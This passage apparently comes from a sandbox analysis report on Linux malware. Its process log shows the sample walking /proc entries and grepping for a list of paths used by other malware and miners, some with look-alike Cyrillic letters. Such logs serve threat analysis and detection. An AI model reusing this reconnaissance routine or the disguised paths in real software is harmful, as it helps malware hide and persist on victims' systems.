  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1265
- /bin/grep
  grep exe
  2⤵
  PID:1268
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1267
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1271
- /bin/grep
  grep exe
  2⤵
  PID:1275
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1274
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1277
- /bin/grep
  grep exe
  2⤵
  PID:1281
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1280
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1284
- /bin/grep
  grep exe
  2⤵
  PID:1287
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1286
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1291
- /bin/grep
  grep exe
  2⤵
  PID:1294
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1293
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1296
- /bin/grep
  grep exe
  2⤵
  PID:1300
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1299
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1303
- /bin/grep
  grep exe
  2⤵
  PID:1306
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1305
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1310
- /bin/grep
  grep exe
  2⤵
  PID:1313
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1312
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1316
- /bin/grep
  grep exe
  2⤵
  PID:1320
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1319
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1322
- /bin/grep
  grep exe
  2⤵
  PID:1326
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1325
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1329
- /bin/grep
  grep exe
  2⤵
  PID:1332
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1331
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1335
- /bin/grep
  grep exe
  2⤵
  PID:1339
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1338
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1341
- /bin/grep
  grep exe
  2⤵
  PID:1345
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1344
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1348
- /bin/grep
  grep exe
  2⤵
  PID:1351
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1350
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1353
- /bin/grep
  grep exe
  2⤵
  PID:1356
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1355
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1358
- /bin/grep
  grep exe
  2⤵
  PID:1361
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1360
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1363
- /bin/grep
  grep exe
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1365
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1368
- /bin/grep
  grep exe
  2⤵
  PID:1371
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1370
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1373
- /bin/grep
  grep exe
  2⤵
  PID:1376
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1375
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1378
- /bin/grep
  grep exe
  2⤵
  PID:1381
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1380
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1383
- /bin/grep
  grep exe
  2⤵
  PID:1386
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1385
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1388
- /bin/grep
  grep exe
  2⤵
  PID:1391
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1390
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1393
- /bin/grep
  grep exe
  2⤵
  PID:1396
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1395
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1398
- /bin/grep
  grep exe
  2⤵
  PID:1401
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1400
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1403
- /bin/grep
  grep exe
  2⤵
  PID:1406
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1405
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1410
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep exe
  2⤵
  PID:1416
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1415
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1418
- /bin/grep
  grep exe
  2⤵
  PID:1421
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1420
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1423
- /bin/grep
  grep exe
  2⤵
  PID:1426
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1425
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1428
- /bin/grep
  grep exe
  2⤵
  PID:1431
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1430
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1433
- /bin/grep
  grep exe
  2⤵
  PID:1436
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1435
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1438
- /bin/grep
  grep exe
  2⤵
  PID:1441
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1440
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1443
- /bin/grep
  grep exe
  2⤵
  PID:1446
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1445
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1448
- /bin/grep
  grep exe
  2⤵
  PID:1451
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1450
- /bin/grep
